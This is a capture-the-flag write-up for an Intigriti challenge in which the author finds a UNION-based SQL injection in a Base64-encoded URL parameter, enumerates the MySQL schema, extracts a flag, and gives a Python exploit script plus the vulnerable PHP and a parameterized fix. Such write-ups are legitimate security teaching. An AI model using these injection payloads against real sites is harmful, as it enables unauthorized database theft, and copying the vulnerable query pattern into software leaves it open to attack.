Target: https://challenge-0926.challenges.intigriti.io/challenge.php
Flag: INTIGRITI{01a09f56-74a2-700b-a849-ffe6742327b2}
The Challenge
Intigriti dropped a single URL for September: find the flag. No source code, no hints. Just a web page.
The target is an animal gallery called Critter Gallery -- eight tiles, each showing a different critter.

Clicking any tile takes you to a detail view with a short description of the animal:

Nothing suspicious at first glance. No forms, no login, no interesting JavaScript. But the URL is worth a closer look.
Spotting the Attack Surface
When I clicked on an animal, the URL looked like this:
https://challenge-0926.challenges.intigriti.io/challenge.php?pic=Zm94
That Zm94 value is not a random ID. It is Base64. Decoding it gives fox:

The client sends a Base64-encoded animal name, the server decodes it, looks it up in a database, and renders the result. If the decoded input goes into a SQL query without proper handling, that is an injection point.
I fired up Burp Suite to get a closer look at the request/response cycle:

Useful info from the response headers:
- X-Powered-By: PHP/8.2.33 -- PHP backend
- Server: istio-envoy -- Envoy proxy in front
- Full HTML page rendered server-side, no client-side fetching
I also noticed what happens when you send a name that does not match any animal. Sending notvalid (Base64-encoded) returns a detail panel with a fallback message:

The application handles invalid input gracefully with a fallback. Keep that in mind -- the contrast with what happens next is what gives the injection away.
Confirming the Injection
The Single Quote Test
First thing I tried -- append a single quote to fox and see what breaks.
fox' --> Base64: Zm94Jw==
GET /challenge.php?pic=Zm94Jw==
0 bytes back. Completely blank page. No HTML, no fallback, nothing.
Compare that to notvalid, which returns ~4,070 bytes with a friendly "No critter goes by that name yet" message. A single quote produces something fundamentally different -- the query itself broke. If this were parameterized, the quote would be a literal character and the fallback page would render normally. Instead, it crashed.
Boolean Differential
A crash alone is not proof. I needed to show the database is actually evaluating injected conditions:
fox' AND '1'='1 (always TRUE)
fox' AND '1'='2 (always FALSE)
TRUE should return the fox detail. FALSE should drop the detail panel because the WHERE clause evaluates to false overall.
| Payload | Condition | Response Size |
|---|---|---|
fox' AND '1'='1 |
TRUE | 4,086 bytes |
fox' AND '1'='2 |
FALSE | 4,072 bytes |
Stable 14-byte delta, every single time. The database is running my condition. Injection confirmed.
I also verified that SQL comment syntax works:
fox' AND '1'='1'-- - --> 4,086 bytes (same as without comment)
fox' AND '1'='1'# --> 4,086 bytes (hash comment also accepted)
Both -- - and # comment styles work. This confirms the backend is MySQL (or MariaDB). PostgreSQL does not accept # as a comment character.
So: single-quote string context, no escaping, no parameterization, MySQL backend, and the decoded value goes straight into the query.
Building the UNION Chain
Boolean-blind works but it is slow. UNION is better here -- append a second SELECT and the results render directly on the page.
Column Count
UNION needs the same column count as the original query. I used a zzzzzz prefix that matches nothing in the database so only the UNION row shows up -- if you use fox, PHP grabs the legitimate row first and you never see your injected data.
import requests, base64
BASE = "https://challenge-0926.challenges.intigriti.io/challenge.php"
def b64(s):
return base64.b64encode(s.encode()).decode()
for n in range(1, 7):
cols = ",".join(f"'MARK{n}_{i}'" for i in range(1, n + 1))
payload = f"zzzzzz' UNION SELECT {cols}-- -"
r = requests.get(BASE, params={"pic": b64(payload)})
hit = "MARK" in r.text
print(f"cols={n} status={r.status_code} len={len(r.text)} marker_found={hit}")
cols=1 status=200 len=4058 marker_found=True
cols=2 status=200 len=0 marker_found=False
cols=3 status=200 len=0 marker_found=False
cols=4 status=200 len=0 marker_found=False
cols=5 status=200 len=0 marker_found=False
cols=6 status=200 len=0 marker_found=False
One column. Everything else crashes.
Output Slot
Checking where the marker lands in the HTML:
<h2>zzzzzz' UNION SELECT 'MARK1_1'-- -</h2>
<div class="desc">MARK1_1<br></div>
The <h2> shows the raw payload (HTML-encoded). The <div class="desc"> shows the actual query result -- that is the extraction point. Whatever goes into the UNION column renders there in plaintext.
The underlying query is effectively:
SELECT description FROM animals WHERE name = '<user_input>'
Schema Enumeration
Tables
Queried information_schema to see what we are working with:
zzzzzz' UNION SELECT (SELECT GROUP_CONCAT(table_name ORDER BY table_name SEPARATOR ',')
FROM information_schema.tables WHERE table_schema=database())-- -
Result rendered in the .desc div:
animals,secret_vault
Two tables. animals powers the gallery. secret_vault is never referenced anywhere in the UI. Not exactly subtle naming.
Columns
secret_vault columns:
zzzzzz' UNION SELECT (SELECT GROUP_CONCAT(column_name ORDER BY ordinal_position SEPARATOR ',')
FROM information_schema.columns WHERE table_schema=database() AND table_name='secret_vault')-- -
Result: id,note
animals columns:
Same technique, different table name. Result: id,name,description
Full schema:
| Table | Columns |
|---|---|
animals |
id, name, description |
secret_vault |
id, note |
One data column in secret_vault: note. That is where the flag lives.
Capturing the Flag
The final payload was straightforward:
zzzzzz' UNION SELECT (SELECT note FROM secret_vault LIMIT 1)-- -
Base64-encoded:
enp6enp6JyBVTklPTiBTRUxFQ1QgKFNFTEVDVCBub3RlIEZST00gc2VjcmV0X3ZhdWx0IExJTUlUIDEpLS0gLQ==
Here is the actual HTTP request as seen in Burp:

And here is what the browser rendered:

The flag shows up right in the detail panel, exactly where an animal's description would normally appear. The <h2> title even displays the raw SQL payload, making it visually obvious what happened.
For comparison, here is what a normal legitimate request looks like:

Verification
I ran a few additional checks to make sure the extracted value was clean:
Hex dump -- to rule out invisible characters or encoding artifacts:
zzzzzz' UNION SELECT (SELECT HEX(note) FROM secret_vault LIMIT 1)-- -
Returned 494E544947524954497B3031...327D which decodes to the same flag string. No hidden characters.
Row count -- to check if there is more data:
zzzzzz' UNION SELECT (SELECT note FROM secret_vault LIMIT 1 OFFSET 1)-- -
Empty .desc div. Only one row in secret_vault.
The Flag
INTIGRITI{01a09f56-74a2-700b-a849-ffe6742327b2}
Exploit Script
Here is the clean automation that does everything in three HTTP requests:
#!/usr/bin/env python3
"""
Intigriti CTF September 2026 -- SQL Injection PoC
UNION-based SQLi via Base64-encoded ?pic parameter
"""
import requests, base64, re
TARGET = "https://challenge-0926.challenges.intigriti.io/challenge.php"
def inject(sql):
pic = base64.b64encode(f"zzzzzz' UNION SELECT ({sql})-- -".encode()).decode()
r = requests.get(TARGET, params={"pic": pic})
m = re.search(r'class="desc">\s*(.*?)\s*(?:<br>)?<', r.text, re.DOTALL)
return m.group(1).strip() if m else None
print("Tables :", inject(
"SELECT GROUP_CONCAT(table_name ORDER BY table_name SEPARATOR ',') "
"FROM information_schema.tables WHERE table_schema=database()"
))
print("Columns:", inject(
"SELECT GROUP_CONCAT(column_name ORDER BY ordinal_position SEPARATOR ',') "
"FROM information_schema.columns "
"WHERE table_schema=database() AND table_name='secret_vault'"
))
print("Flag :", inject("SELECT note FROM secret_vault LIMIT 1"))
$ python3 exploit.py
Tables : animals,secret_vault
Columns: id,note
Flag : INTIGRITI{01a09f56-74a2-700b-a849-ffe6742327b2}
Root Cause
The server decodes the pic parameter and drops it raw into a SQL string:
$name = base64_decode($_GET['pic']);
$result = $db->query("SELECT description FROM animals WHERE name = '$name'");
Base64 is encoding, not security. The fix:
$name = base64_decode($_GET['pic']);
$stmt = $db->prepare("SELECT description FROM animals WHERE name = ?");
$stmt->bind_param("s", $name);
$stmt->execute();